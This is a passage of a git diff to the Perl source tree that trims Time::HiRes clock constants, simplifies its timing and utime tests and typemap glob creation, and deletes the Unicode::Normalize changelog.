*iv_return) { return PERL_constant_ISIV; #else return PERL_constant_NOTDEF; -#endif - } - break; - case 'O': - if (memEQ(name, "CLOCK_BOOTTIME", 14)) { - /* ^ */ -#ifdef CLOCK_BOOTTIME - *iv_return = CLOCK_BOOTTIME; - return PERL_constant_ISIV; -#else - return PERL_constant_NOTDEF; #endif } break; @@ -347,50 +268,6 @@ constant_15 (pTHX_ const char *name, IV *iv_return) { return PERL_constant_NOTFOUND; } -static int -constant_19 (pTHX_ const char *name, IV *iv_return) { - /* When generated this function returned values for the list of names given - here. However, subsequent manual editing may have added or removed some. - CLOCK_MONOTONIC_RAW CLOCK_REALTIME_FAST CLOCK_UPTIME_COARSE */ - /* Offset 9 gives the best switch position. */ - switch (name[9]) { - case 'I': - if (memEQ(name, "CLOCK_UPTIME_COARSE", 19)) { - /* ^ */ -#ifdef CLOCK_UPTIME_COARSE - *iv_return = CLOCK_UPTIME_COARSE; - return PERL_constant_ISIV; -#else - return PERL_constant_NOTDEF; -#endif - } - break; - case 'L': - if (memEQ(name, "CLOCK_REALTIME_FAST", 19)) { - /* ^ */ -#ifdef CLOCK_REALTIME_FAST - *iv_return = CLOCK_REALTIME_FAST; - return PERL_constant_ISIV; -#else - return PERL_constant_NOTDEF; -#endif - } - break; - case 'O': - if (memEQ(name, "CLOCK_MONOTONIC_RAW", 19)) { - /* ^ */ -#ifdef CLOCK_MONOTONIC_RAW - *iv_return = CLOCK_MONOTONIC_RAW; - return PERL_constant_ISIV; -#else - return PERL_constant_NOTDEF; -#endif - } - break; - } - return PERL_constant_NOTFOUND; -} - static int constant (pTHX_ const char *name, STRLEN len, IV *iv_return) { /* Initially switch on the length of the name. */ @@ -404,25 +281,18 @@ constant (pTHX_ const char *name, STRLEN len, IV *iv_return) { Regenerate these constant functions by feeding this entire source file to perl -x -#!/opt/local/perl-5.25.6/bin/perl -w +#!perl -w use ExtUtils::Constant qw (constant_types C_constant XS_constant); my $types = {map {($_, 1)} qw(IV)}; -my @names = (qw(CLOCKS_PER_SEC CLOCK_BOOTTIME CLOCK_HIGHRES CLOCK_MONOTONIC - CLOCK_MONOTONIC_COARSE CLOCK_MONOTONIC_FAST - CLOCK_MONOTONIC_PRECISE CLOCK_MONOTONIC_RAW - CLOCK_PROCESS_CPUTIME_ID CLOCK_PROF CLOCK_REALTIME - CLOCK_REALTIME_COARSE CLOCK_REALTIME_FAST CLOCK_REALTIME_PRECISE - CLOCK_REALTIME_RAW CLOCK_SECOND CLOCK_SOFTTIME - CLOCK_THREAD_CPUTIME_ID CLOCK_TIMEOFDAY CLOCK_UPTIME - CLOCK_UPTIME_COARSE CLOCK_UPTIME_FAST CLOCK_UPTIME_PRECISE - CLOCK_UPTIME_RAW CLOCK_VIRTUAL ITIMER_PROF ITIMER_REAL +my @names = (qw(CLOCKS_PER_SEC CLOCK_HIGHRES CLOCK_MONOTONIC + CLOCK_PROCESS_CPUTIME_ID CLOCK_REALTIME CLOCK_SOFTTIME + CLOCK_THREAD_CPUTIME_ID CLOCK_TIMEOFDAY ITIMER_PROF ITIMER_REAL ITIMER_REALPROF ITIMER_VIRTUAL TIMER_ABSTIME), {name=>"d_clock", type=>"IV", macro=>"TIME_HIRES_CLOCK", value=>"1", default=>["IV", "0"]}, {name=>"d_clock_getres", type=>"IV", macro=>"TIME_HIRES_CLOCK_GETRES", value=>"1", default=>["IV", "0"]}, {name=>"d_clock_gettime", type=>"IV", macro=>"TIME_HIRES_CLOCK_GETTIME", value=>"1", default=>["IV", "0"]}, {name=>"d_clock_nanosleep", type=>"IV", macro=>"TIME_HIRES_CLOCK_NANOSLEEP", value=>"1", default=>["IV", "0"]}, - {name=>"d_futimens", type=>"IV", macro=>"HAS_FUTIMENS", value=>"1", default=>["IV", "0"]}, {name=>"d_getitimer", type=>"IV", macro=>"HAS_GETITIMER", value=>"1", default=>["IV", "0"]}, {name=>"d_gettimeofday", type=>"IV", macro=>"HAS_GETTIMEOFDAY", value=>"1", default=>["IV", "0"]}, {name=>"d_hires_stat", type=>"IV", macro=>"TIME_HIRES_STAT", value=>"1", default=>["IV", "0"]}, @@ -430,8 +300,7 @@ my @names = (qw(CLOCKS_PER_SEC CLOCK_BOOTTIME CLOCK_HIGHRES CLOCK_MONOTONIC {name=>"d_nanosleep", type=>"IV", macro=>"TIME_HIRES_NANOSLEEP", value=>"1", default=>["IV", "0"]}, {name=>"d_setitimer", type=>"IV", macro=>"HAS_SETITIMER", value=>"1", default=>["IV", "0"]}, {name=>"d_ualarm", type=>"IV", macro=>"HAS_UALARM", value=>"1", default=>["IV", "0"]}, - {name=>"d_usleep", type=>"IV", macro=>"HAS_USLEEP", value=>"1", default=>["IV", "0"]}, - {name=>"d_utimensat", type=>"IV", macro=>"HAS_UTIMENSAT", value=>"1", default=>["IV", "0"]}); + {name=>"d_usleep", type=>"IV", macro=>"HAS_USLEEP", value=>"1", default=>["IV", "0"]}); print constant_types(), "\n"; # macro defs foreach (C_constant ("Time::HiRes", 'constant', 'IV', $types, undef, 3, @names) ) { @@ -480,36 +349,6 @@ __END__ #else *iv_return = 0; return PERL_constant_ISIV; -#endif - } - break; - } - break; - case 10: - /* Names all of length 10. */ - /* CLOCK_PROF d_futimens */ - /* Offset 5 gives the best switch position. */ - switch (name[5]) { - case '_': - if (memEQ(name, "CLOCK_PROF", 10)) { - /* ^ */ -#ifdef CLOCK_PROF - *iv_return = CLOCK_PROF; - return PERL_constant_ISIV; -#else - return PERL_constant_NOTDEF; -#endif - } - break; - case 'i': - if (memEQ(name, "d_futimens", 10)) { - /* ^ */ -#ifdef HAS_FUTIMENS - *iv_return = 1; - return PERL_constant_ISIV; -#else - *iv_return = 0; - return PERL_constant_ISIV; #endif } break; @@ -519,7 +358,15 @@ __END__ return constant_11 (aTHX_ name, iv_return); break; case 12: - return constant_12 (aTHX_ name, iv_return); + if (memEQ(name, "d_hires_stat", 12)) { +#ifdef TIME_HIRES_STAT + *iv_return = 1; + return PERL_constant_ISIV; +#else + *iv_return = 0; + return PERL_constant_ISIV; +#endif + } break; case 13: return constant_13 (aTHX_ name, iv_return); @@ -530,154 +377,25 @@ __END__ case 15: return constant_15 (aTHX_ name, iv_return); break; - case 16: - if (memEQ(name, "CLOCK_UPTIME_RAW", 16)) { -#ifdef CLOCK_UPTIME_RAW - *iv_return = CLOCK_UPTIME_RAW; - return PERL_constant_ISIV; -#else - return PERL_constant_NOTDEF; -#endif - } - break; case 17: - /* Names all of length 17. */ - /* CLOCK_UPTIME_FAST d_clock_nanosleep */ - /* Offset 5 gives the best switch position. */ - switch (name[5]) { - case '_': - if (memEQ(name, "CLOCK_UPTIME_FAST", 17)) { - /* ^ */ -#ifdef CLOCK_UPTIME_FAST - *iv_return = CLOCK_UPTIME_FAST; - return PERL_constant_ISIV; -#else - return PERL_constant_NOTDEF; -#endif - } - break; - case 'c': - if (memEQ(name, "d_clock_nanosleep", 17)) { - /* ^ */ + if (memEQ(name, "d_clock_nanosleep", 17)) { #ifdef TIME_HIRES_CLOCK_NANOSLEEP - *iv_return = 1; - return PERL_constant_ISIV; -#else - *iv_return = 0; - return PERL_constant_ISIV; -#endif - } - break; - } - break; - case 18: - if (memEQ(name, "CLOCK_REALTIME_RAW", 18)) { -#ifdef CLOCK_REALTIME_RAW - *iv_return = CLOCK_REALTIME_RAW; + *iv_return = 1; return PERL_constant_ISIV; #else - return PERL_constant_NOTDEF; -#endif - } - break; - case 19: - return constant_19 (aTHX_ name, iv_return); - break; - case 20: - /* Names all of length 20. */ - /* CLOCK_MONOTONIC_FAST CLOCK_UPTIME_PRECISE */ - /* Offset 7 gives the best switch position. */ - switch (name[7]) { - case 'O': - if (memEQ(name, "CLOCK_MONOTONIC_FAST", 20)) { - /* ^ */ -#ifdef CLOCK_MONOTONIC_FAST - *iv_return = CLOCK_MONOTONIC_FAST; - return PERL_constant_ISIV; -#else - return PERL_constant_NOTDEF; -#endif - } - break; - case 'P': - if (memEQ(name, "CLOCK_UPTIME_PRECISE", 20)) { - /* ^ */ -#ifdef CLOCK_UPTIME_PRECISE - *iv_return = CLOCK_UPTIME_PRECISE; - return PERL_constant_ISIV; -#else - return PERL_constant_NOTDEF; -#endif - } - break; - } - break; - case 21: - if (memEQ(name, "CLOCK_REALTIME_COARSE", 21)) { -#ifdef CLOCK_REALTIME_COARSE - *iv_return = CLOCK_REALTIME_COARSE; + *iv_return = 0; return PERL_constant_ISIV; -#else - return PERL_constant_NOTDEF; #endif } break; - case 22: - /* Names all of length 22. */ - /* CLOCK_MONOTONIC_COARSE CLOCK_REALTIME_PRECISE */ - /* Offset 12 gives the best switch position. */ - switch (name[12]) { - case 'M': - if (memEQ(name, "CLOCK_REALTIME_PRECISE", 22)) { - /* ^ */ -#ifdef CLOCK_REALTIME_PRECISE - *iv_return = CLOCK_REALTIME_PRECISE; - return PERL_constant_ISIV; -#else - return PERL_constant_NOTDEF; -#endif - } - break; - case 'N': - if (memEQ(name, "CLOCK_MONOTONIC_COARSE", 22)) { - /* ^ */ -#ifdef CLOCK_MONOTONIC_COARSE - *iv_return = CLOCK_MONOTONIC_COARSE; - return PERL_constant_ISIV; -#else - return PERL_constant_NOTDEF; -#endif - } - break; - } - break; case 23: - /* Names all of length 23. */ - /* CLOCK_MONOTONIC_PRECISE CLOCK_THREAD_CPUTIME_ID */ - /* Offset 22 gives the best switch position. */ - switch (name[22]) { - case 'D': - if (memEQ(name, "CLOCK_THREAD_CPUTIME_I", 22)) { - /* D */ + if (memEQ(name, "CLOCK_THREAD_CPUTIME_ID", 23)) { #ifdef CLOCK_THREAD_CPUTIME_ID - *iv_return = CLOCK_THREAD_CPUTIME_ID; - return PERL_constant_ISIV; -#else - return PERL_constant_NOTDEF; -#endif - } - break; - case 'E': - if (memEQ(name, "CLOCK_MONOTONIC_PRECIS", 22)) { - /* E */ -#ifdef CLOCK_MONOTONIC_PRECISE - *iv_return = CLOCK_MONOTONIC_PRECISE; - return PERL_constant_ISIV; + *iv_return = CLOCK_THREAD_CPUTIME_ID; + return PERL_constant_ISIV; #else - return PERL_constant_NOTDEF; + return PERL_constant_NOTDEF; #endif - } - break; } break; case 24: diff --git a/dist/Time-HiRes/fallback/const-xs.inc b/dist/Time-HiRes/fallback/const-xs.inc index b8c10a99914f..c84dd051dd1d 100644 --- a/dist/Time-HiRes/fallback/const-xs.inc +++ b/dist/Time-HiRes/fallback/const-xs.inc @@ -22,14 +22,12 @@ constant(sv) Second, if present, is found value */ switch (type) { case PERL_constant_NOTFOUND: - sv = - sv_2mortal(newSVpvf("%s is not a valid Time::HiRes macro", s)); + sv = sv_2mortal(newSVpvf("%s is not a valid Time::HiRes macro", s)); PUSHs(sv); break; case PERL_constant_NOTDEF: sv = sv_2mortal(newSVpvf( - "Your vendor has not defined Time::HiRes macro %s, used", - s)); + "Your vendor has not defined Time::HiRes macro %s, used", s)); PUSHs(sv); break; case PERL_constant_ISIV: diff --git a/dist/Time-HiRes/t/alarm.t b/dist/Time-HiRes/t/alarm.t index af34d2a56194..7bdc6da20aef 100644 --- a/dist/Time-HiRes/t/alarm.t +++ b/dist/Time-HiRes/t/alarm.t @@ -42,9 +42,6 @@ SKIP: { # Perl's deferred signals may be too wimpy to break through # a restartable select(), so use POSIX::sigaction if available. - # In perl 5.6.2 you will get a likely bogus warning of - # "Use of uninitialized value in subroutine entry" from - # the following line. POSIX::sigaction(&POSIX::SIGALRM, POSIX::SigAction->new("tick"), $oldaction) diff --git a/dist/Time-HiRes/t/clock.t b/dist/Time-HiRes/t/clock.t index 64478b015c52..7686500f0654 100644 --- a/dist/Time-HiRes/t/clock.t +++ b/dist/Time-HiRes/t/clock.t @@ -79,16 +79,10 @@ SKIP: { SKIP: { skip "no clock", 1 unless &Time::HiRes::d_clock; - skip "no CLOCKS_PER_SEC", 1 unless has_symbol("CLOCKS_PER_SEC"); my @clock = Time::HiRes::clock(); - # If we have a relatively low precision clock() and we haven't seen much - # CPU usage thus far with clock(), we will want to have a bit longer delay. - my $delay = $clock[0] < (5 / &Time::HiRes::CLOCKS_PER_SEC) ? 1e7 : 1e6; - printf("# CLOCKS_PER_SEC = %d\n", &Time::HiRes::CLOCKS_PER_SEC); - printf("# delay = %d\n", $delay); print("# clock = @clock\n"); for my $i (1..3) { - for (my $j = 0; $j < $delay; $j++) { } + for (my $j = 0; $j < 1e6; $j++) { } push @clock, Time::HiRes::clock(); print("# clock = @clock\n"); } diff --git a/dist/Time-HiRes/t/nanosleep.t b/dist/Time-HiRes/t/nanosleep.t index 98cc8d967086..5ea8ff7a1b4d 100644 --- a/dist/Time-HiRes/t/nanosleep.t +++ b/dist/Time-HiRes/t/nanosleep.t @@ -8,7 +8,7 @@ BEGIN { } } -use Test::More tests => 4; +use Test::More tests => 3; BEGIN { push @INC, '.' } use t::Watchdog; @@ -25,14 +25,12 @@ ok $one == $two || $two == $three or print("# slept too long, $one $two $three\n"); SKIP: { - skip "no gettimeofday", 2 unless &Time::HiRes::d_gettimeofday; + skip "no gettimeofday", 1 unless &Time::HiRes::d_gettimeofday; my $f = Time::HiRes::time(); Time::HiRes::nanosleep(500_000_000); my $f2 = Time::HiRes::time(); my $d = $f2 - $f; - cmp_ok $d, '>', 0.4, "nanosleep for more than 0.4 sec"; - skip "flapping test - more than 0.9 sec could be necessary...", 1 if $ENV{CI}; - cmp_ok $d, '<', 0.9 or diag("# slept $d secs $f to $f2\n"); + ok $d > 0.4 && $d < 0.9 or print("# slept $d secs $f to $f2\n"); } 1; diff --git a/dist/Time-HiRes/t/usleep.t b/dist/Time-HiRes/t/usleep.t index bb66cbe62cb6..9322458b8083 100644 --- a/dist/Time-HiRes/t/usleep.t +++ b/dist/Time-HiRes/t/usleep.t @@ -32,7 +32,7 @@ SKIP: { Time::HiRes::usleep(500_000); my $f2 = Time::HiRes::time(); my $d = $f2 - $f; - ok $d > 0.49 or print("# slept $d secs $f to $f2\n"); + ok $d > 0.4 && $d < 0.9 or print("# slept $d secs $f to $f2\n"); } SKIP: { @@ -40,7 +40,7 @@ SKIP: { my $r = [ Time::HiRes::gettimeofday() ]; Time::HiRes::sleep( 0.5 ); my $f = Time::HiRes::tv_interval $r; - ok $f > 0.49 or print("# slept $f instead of 0.5 secs.\n"); + ok $f > 0.4 && $f < 0.9 or print("# slept $f instead of 0.5 secs.\n"); } SKIP: { diff --git a/dist/Time-HiRes/t/utime.t b/dist/Time-HiRes/t/utime.t index 7fd4604b352a..22fd48e703e9 100644 --- a/dist/Time-HiRes/t/utime.t +++ b/dist/Time-HiRes/t/utime.t @@ -1,94 +1,5 @@ use strict; -sub has_subsecond_file_times { - require File::Temp; - require Time::HiRes; - my ($fh, $filename) = File::Temp::tempfile( "Time-HiRes-utime-XXXXXXXXX" ); - use File::Basename qw[dirname]; - my $dirname = dirname($filename); - require Cwd; - $dirname = &Cwd::getcwd if $dirname eq '.'; - print("\n# Testing for subsecond file timestamps (mtime) in $dirname\n"); - close $fh; - my @mtimes; - for (1..2) { - open $fh, '>', $filename; - print $fh "foo"; - close $fh; - push @mtimes, (Time::HiRes::stat($filename))[9]; - Time::HiRes::sleep(.1) if $_ == 1; - } - my $delta = $mtimes[1] - $mtimes[0]; - # print STDERR "mtimes = @mtimes, delta = $delta\n"; - unlink $filename; - my $ok = $delta > 0 && $delta < 1; - printf("# Subsecond file timestamps in $dirname: %s\n", - $ok ? "OK" : "NO"); - return $ok; -} - -sub get_filesys_of_tempfile { - require File::Temp; - require Time::HiRes; - my ($fh, $filename) = File::Temp::tempfile( "Time-HiRes-utime-XXXXXXXXX" ); - my $filesys; - if (open(my $df, "df $filename |")) { - my @fs; - while (<$df>) { - next if /^Filesystem/; - chomp; - push @fs, $_; - } - if (@fs == 1) { - if (defined $fs[0] && length($fs[0])) { - $filesys = $fs[0]; - } else { - printf("# Got empty result from 'df'\n"); - } - } else { - printf("# Expected one result from 'df', got %d\n", scalar(@fs)); - } - } else { - # Too noisy to show by default. - # Can fail for too many reasons. - print "# Failed to run 'df $filename |': $!\n"; - } - return $filesys; -} - -sub get_mount_of_filesys { - my ($filesys) = @_; - # netbsd has /sbin/mount - local $ENV{PATH} = "$ENV{PATH}:/sbin" if $^O =~ /^(?:netbsd)$/; - if (defined $filesys) { - my @fs = split(' ', $filesys); - if (open(my $mount, "mount |")) { - while (<$mount>) { - chomp; - my @mnt = split(' '); - if ($mnt[0] eq $fs[0]) { - return $_; - } - } - } else { - # Too noisy to show by default. - # The mount(8) might not be in the PATH, for example. - # Or this might be a completely non-UNIX system. - # print "# Failed to run 'mount |': $!\n"; - } - } - return; -} - -sub get_mount_of_tempfile { - return get_mount_of_filesys(get_filesys_of_tempfile()); -} - -sub tempfile_has_noatime_mount { - my ($mount) = get_mount_of_tempfile(); - return $mount =~ /\bnoatime\b/; -} - BEGIN { require Time::HiRes; require Test::More; @@ -96,19 +7,43 @@ BEGIN { unless(&Time::HiRes::d_hires_utime) { Test::More::plan(skip_all => "no hires_utime"); } - unless(&Time::HiRes::d_hires_stat) { - # Being able to read subsecond timestamps is a reasonable - # prerequisite for being able to write them. - Test::More::plan(skip_all => "no hires_stat"); - } unless (&Time::HiRes::d_futimens) { Test::More::plan(skip_all => "no futimens()"); } unless (&Time::HiRes::d_utimensat) { Test::More::plan(skip_all => "no utimensat()"); } - unless (has_subsecond_file_times()) { - Test::More::plan(skip_all => "No subsecond file timestamps"); + if ($^O eq 'gnukfreebsd') { + Test::More::plan(skip_all => "futimens() and utimensat() not working in $^O"); + } + if ($^O eq 'linux' && -e '/proc/mounts') { + # The linux might be wrong when ext3 + # is available in other operating systems, + # but then we need other methods for detecting + # the filesystem type of the tempfiles. + my ($fh, $fn) = File::Temp::tempfile( "Time-HiRes-utime-XXXXXXXXX", UNLINK => 1); + sub getfstype { + my ($fn) = @_; + my $cmd = "df $fn"; + open(my $df, '-|', $cmd) or die "$cmd: $!"; + my @df = <$df>; # Assume $df[0] is header line. + my $dev = +(split(" ", $df[1]))[0]; + open(my $mounts, '<', '/proc/mounts') or die "/proc/mounts: $!"; + while (<$mounts>) { + my @m = split(" "); + if ($m[0] eq $dev) { return $m[2] } + } + return; + } + my $fstype = getfstype($fn); + unless (defined $fstype) { + warn "Unknown fstype for $fn\n"; + } else { + print "# fstype = $fstype\n"; + if ($fstype eq 'ext3' || $fstype eq 'ext2') { + Test::More::plan(skip_all => "fstype $fstype has no subsecond timestamps in $^O"); + } + } } } @@ -117,10 +52,6 @@ BEGIN { push @INC, '.' } use t::Watchdog; use File::Temp qw( tempfile ); -BEGIN { - *done_testing = sub {} unless defined &done_testing; -} - use Config; # Hope initially for nanosecond accuracy. @@ -134,21 +65,12 @@ if ($^O eq 'cygwin') { } print "# \$^O = $^O, atime = $atime, mtime = $mtime\n"; -my $skip_atime = $^O eq 'netbsd' && tempfile_has_noatime_mount(); - -if ($skip_atime) { - printf("# Skipping atime tests because tempfiles seem to be in a filesystem mounted with 'noatime' ($^O)\n'"); -} - print "# utime \$fh\n"; { my ($fh, $filename) = tempfile( "Time-HiRes-utime-XXXXXXXXX", UNLINK => 1 ); is Time::HiRes::utime($atime, $mtime, $fh), 1, "One file changed"; my ($got_atime, $got_mtime) = ( Time::HiRes::stat($filename) )[8, 9]; - SKIP: { - skip("noatime mount", 1) if $skip_atime; - is $got_atime, $atime, "atime set correctly"; - } + is $got_atime, $atime, "atime set correctly"; is $got_mtime, $mtime, "mtime set correctly"; }; @@ -157,10 +79,7 @@ print "#utime \$filename\n"; my ($fh, $filename) = tempfile( "Time-HiRes-utime-XXXXXXXXX", UNLINK => 1 ); is Time::HiRes::utime($atime, $mtime, $filename), 1, "One file changed"; my ($got_atime, $got_mtime) = ( Time::HiRes::stat($fh) )[8, 9]; - SKIP: { - skip("noatime mount", 1) if $skip_atime; - is $got_atime, $atime, "atime set correctly"; - } + is $got_atime, $atime, "atime set correctly"; is $got_mtime, $mtime, "mtime set correctly"; }; @@ -171,18 +90,12 @@ print "utime \$filename and \$fh\n"; is Time::HiRes::utime($atime, $mtime, $filename1, $fh2), 2, "Two files changed"; { my ($got_atime, $got_mtime) = ( Time::HiRes::stat($fh1) )[8, 9]; - SKIP: { - skip("noatime mount", 1) if $skip_atime; - is $got_atime, $atime, "File 1 atime set correctly"; - } + is $got_atime, $atime, "File 1 atime set correctly"; is $got_mtime, $mtime, "File 1 mtime set correctly"; } { my ($got_atime, $got_mtime) = ( Time::HiRes::stat($filename2) )[8, 9]; - SKIP: { - skip("noatime mount", 1) if $skip_atime; - is $got_atime, $atime, "File 2 atime set correctly"; - } + is $got_atime, $atime, "File 2 atime set correctly"; is $got_mtime, $mtime, "File 2 mtime set correctly"; } }; @@ -193,24 +106,17 @@ print "# utime undef sets time to now\n"; my ($fh2, $filename2) = tempfile( "Time-HiRes-utime-XXXXXXXXX", UNLINK => 1 ); my $now = Time::HiRes::time; - sleep(1); is Time::HiRes::utime(undef, undef, $filename1, $fh2), 2, "Two files changed"; { my ($got_atime, $got_mtime) = ( Time::HiRes::stat($fh1) )[8, 9]; - SKIP: { - skip("noatime mount", 1) if $skip_atime; - cmp_ok $got_atime, '>=', $now, "File 1 atime set correctly"; - } - cmp_ok $got_mtime, '>=', $now, "File 1 mtime set correctly"; + cmp_ok abs( $got_atime - $now), '<', 0.1, "File 1 atime set correctly"; + cmp_ok abs( $got_mtime - $now), '<', 0.1, "File 1 mtime set correctly"; } { my ($got_atime, $got_mtime) = ( Time::HiRes::stat($filename2) )[8, 9]; - SKIP: { - skip("noatime mount", 1) if $skip_atime; - cmp_ok $got_atime, '>=', $now, "File 2 atime set correctly"; - } - cmp_ok $got_mtime, '>=', $now, "File 2 mtime set correctly"; + cmp_ok abs( $got_atime - $now), '<', 0.1, "File 2 atime set correctly"; + cmp_ok abs( $got_mtime - $now), '<', 0.1, "File 2 mtime set correctly"; } }; @@ -228,6 +134,6 @@ print "# negative mtime dies;\n"; "negative time error"; }; -done_testing(); +done_testing; 1; diff --git a/dist/Time-HiRes/typemap b/dist/Time-HiRes/typemap index ffe60e3694ad..3fa91f3a0b3c 100644 --- a/dist/Time-HiRes/typemap +++ b/dist/Time-HiRes/typemap @@ -282,9 +282,8 @@ T_ARRAY } T_STDIO { - GV *gv = (GV *)sv_newmortal(); + GV *gv = newGVgen("$Package"); PerlIO *fp = PerlIO_importFILE($var,0); - gv_init(gv, gv_stashpv("$Package",1),"__ANONIO__",10,0); if ( fp && do_open(gv, "+<&", 3, FALSE, 0, 0, fp) ) sv_setsv($arg, sv_bless(newRV((SV*)gv), gv_stashpv("$Package",1))); else @@ -292,8 +291,7 @@ T_STDIO } T_IN { - GV *gv = (GV *)sv_newmortal(); - gv_init(gv, gv_stashpv("$Package",1),"__ANONIO__",10,0); + GV *gv = newGVgen("$Package"); if ( do_open(gv, "<&", 2, FALSE, 0, 0, $var) ) sv_setsv($arg, sv_bless(newRV((SV*)gv), gv_stashpv("$Package",1))); else @@ -301,8 +299,7 @@ T_IN } T_INOUT { - GV *gv = (GV *)sv_newmortal(); - gv_init(gv, gv_stashpv("$Package",1),"__ANONIO__",10,0); + GV *gv = newGVgen("$Package"); if ( do_open(gv, "+<&", 3, FALSE, 0, 0, $var) ) sv_setsv($arg, sv_bless(newRV((SV*)gv), gv_stashpv("$Package",1))); else @@ -310,8 +307,7 @@ T_INOUT } T_OUT { - GV *gv = (GV *)sv_newmortal(); - gv_init(gv, gv_stashpv("$Package",1),"__ANONIO__",10,0); + GV *gv = newGVgen("$Package"); if ( do_open(gv, "+>&", 3, FALSE, 0, 0, $var) ) sv_setsv($arg, sv_bless(newRV((SV*)gv), gv_stashpv("$Package",1))); else diff --git a/dist/Unicode-Normalize/Changes b/dist/Unicode-Normalize/Changes deleted file mode 100644 index 22ec16e0bcd6..000000000000 --- a/dist/Unicode-Normalize/Changes +++ /dev/null @@ -1,258 +0,0 @@ -Revision history for Perl extension Unicode::Normalize. - -1.26 *** RELEASE DATE HERE *** - - Switch to XSLoader from Dynaloader - -1.25 Wed Dec 16 03:05:57 UTC 2015 - - Fix Normalize.xs to work on releases earlier than 5.8. The problem was - introduced in this module's version 1.24 - - Go back to shipping pure perl version as well as XS, as was done up - through release 1.17 - -1.24 Sun Nov 29 05:48:44 UTC 2015 - - Updated to use most recent GNU license file. - ( https://rt.cpan.org/Public/Bug/Display.html?id=108003 ) - - Silence compiler warning message - ( https://rt.cpan.org/Public/Bug/Display.html?id=109577 ) - - Add kwalitee suggested changes. - -1.23 Sun Oct 25 14:50:28 UTC 2015 - - Fix mkhdr to work on releases earlier than 5.8 - -1.22 Thu Oct 08 16:50:17 2015 - - Reinstate XSUB, now works on modern EBCDIC perls as well. - - Kwalitee changes - - Makefile fixes - - small bug fix in header generation script. - -1.21 Fri Oct 02 15:33:17 2015 - - Get pure perl version to work on modern EBCDIC perls. - - Some comment and pod improvements - -1.20 Fri Oct 02 15:30:40 2015 - - Not officially released, was incomplete import of 1.19 - -1.19 Sat Jul 11 12:39:38 2015 - - [rt.cpan.org #105620] Useless dependency on bytes and File::Copy - -1.18 Tue May 27 22:04:23 2014 - - XSUB is now deprecated and removed. see perl 5.20.0, - perldelta, Internal Changes, deprecation of uvuni_to_utf8 etc. - - Thank you for everything !! - -1.17 Sat Oct 5 11:36:43 2013 - - assertion using unpack - -1.16 Sun Nov 4 17:23:03 2012 - - XSUB: use PERL_NO_GET_CONTEXT (see perlguts) - (see [rt.cpan.org #80312]) - -1.15 Sun Sep 23 10:43:14 2012 - - perl 5.11.0 or later: Install to 'site' instead of 'perl' - (see [rt.cpan.org #79801]) - -1.14 Sat Mar 10 13:34:53 2012 - - avoid "use Test". - -1.13 Mon Jul 25 21:07:49 2011 - - tried fixing the tarball with world writable files. - ( http://www.perlmonks.org/?node_id=731935 ) - -1.12 Mon May 16 23:36:07 2011 - - removed Normalize/CompExcl.pl and coded Composition Exclusions; - how to load CompExcl.pl seems not good, but I'm not sure... - -1.11 Sun May 15 20:31:09 2011 - - As perl 5.14.0 has removed unicore/CompositionExclusions.txt - from the installation, Normalize/CompExcl.pl in this distribution - is used instead. (see [rt.cpan.org #68106]) - -1.10 Sun Jan 16 21:00:34 2011 - - XSUB: reorder() and compose() treat with growing the string. - - XSUB: provision against UTF8_ALLOW_* flags to be undefined in future. - - doc: about perl 5.13.x and Unicode 6.0.0 - - doc and comments: [perl #81876] Fix typos by Peter J. Acklam. - -1.07 Mon Sep 20 20:20:02 2010 - - doc: about perl 5.12.x and Unicode 5.2.0 - - test: prototype of normalize_partial() and cousins in proto.t. - -1.06 Thu Feb 11 16:19:54 2010 - - mkheader/Pure Perl: fixed the internal _getHexArray() for perl 5.11.3 - changes (Bug #53197). - -1.05 Mon Sep 28 21:43:17 2009 - - normalize_partial() and NFX_partial(). { NFX =~ /^NFK?[CD]\z/ } - - added partial1.t for NFX_partial(). - - added partial2.t for normalize_partial(). - -1.04 Wed Sep 23 22:32:57 2009 - - doc: splitOnLastStarter() since 0.24 is now documented. - - test: some new tests are added to split.t. - -1.03 Sun Mar 29 12:56:23 2009 - - mkheader: check if no composition needs growing the string. - - Makefile.PL: a tweak - -1.02 Tue Jun 5 22:46:45 2007 - - XSUB: mkheader, _U_stringify() - avoid unpack('C*') on unicode. - - test: short.t removed - pure perl is not appropriate for test of - unicode edge cases. - -1.01 Tue Jun 13 22:01:53 2006 - - XSUB: sv_setpvn() needs cast to (char*). - - XSUB: avoid double FETCH for tied scalar variables. - - added tie.t. - -1.00 Thu May 25 20:35:06 2006 - - Pure Perl: compose($not_canonically_reordered) works like that in XSUB, - where an intervening character with higher combining class blocks - the composition. (This change doesn't affect any normalization forms.) - - XSUB: NFD(), NFC(), NFKD(), NFC(), and FCC() are now in XSUB, then - internal subroutine calls are avoided. - - The functions isComp_Ex(), isNFD_NO(), isNFC_NO(), isNFC_MAYBE(), - isNFKD_NO(), isNFKC_NO(), and isNFKC_MAYBE() are documented. - - Tests are more amplified and documentations are more clarified. - - Makefile.PL: Change 26295 is incorporated. - -0.32 Tue Apr 5 22:47:09 2005 - - Some literal and grammatical errors in POD are fixed. - -0.31 Tue Apr 5 21:43:20 2005 - - CAVEATS in POD is added. - - Some test cases from Unicode Public Review Issue #29 - (Normalization Issue) are added to norm.t and test.t. - - do 'mkheader' returns true so that Makefile.PL will catch error. - - META.yml is added. - -0.30 Sun May 2 14:35:00 2004 - - XSUB: (perl 5.8.1 or later) improved utf8 upgrade of non-POK - (private POK) values like tied scalars, overloaded objects, etc. - -0.28 Sat Nov 22 23:46:24 2003 - - XSUB: even if string contains a malformed, "short" Unicode character, - decompose() and reorder() will be safe. Garbage will be no longer added. - - added null.t and short.t. - - now truly added illegal.t (in 0.27, forgot to change MANIFEST). - -0.27 Sun Nov 16 13:16:21 2003 - - Illegal code points (surrogate and noncharacter) will be allowed - (keep your code with ); - but porting is not successful in the case of ((Pure Perl) and - (Perl 5.7.3 or before)). - - added illegal.t. - -0.26 Sat Nov 15 21:52:30 2003 - - doc fix: s/FCD(?= is unique)/FCC/; - -0.25 Mon Oct 6 22:26:03 2003 - - added form.t and proto.t. - -0.24 Sat Oct 4 17:57:10 2003 - - supports FCD and FCC (UTN #5): - FCD(), normalize('FCD'), checkFCD(), check('FCD'); - FCC(), normalize('FCC'), checkFCC(), check('FCC'). - - changed INSTALLATION (cf. README). - * Initial state of the distribution is changed to XSUB. To build - pure Perl, type before . - * The purePerl-XSUB converter is now provided as two perl - script files, named "enableXS" and "disableXS". - (no longer and .) - * simplified Makefile.PL. - - added fcdc.t for FCD() and FCC(). - - added split.t for splitOnLastStarter(): an undocumented function. - -0.23 Sat Jun 28 20:38:10 2003 - - bug fix: \0-terminate in compose() in XS. - - tweak in pure perl: forced $codepoint to numeric (i.e. "+0065" to 65) - - 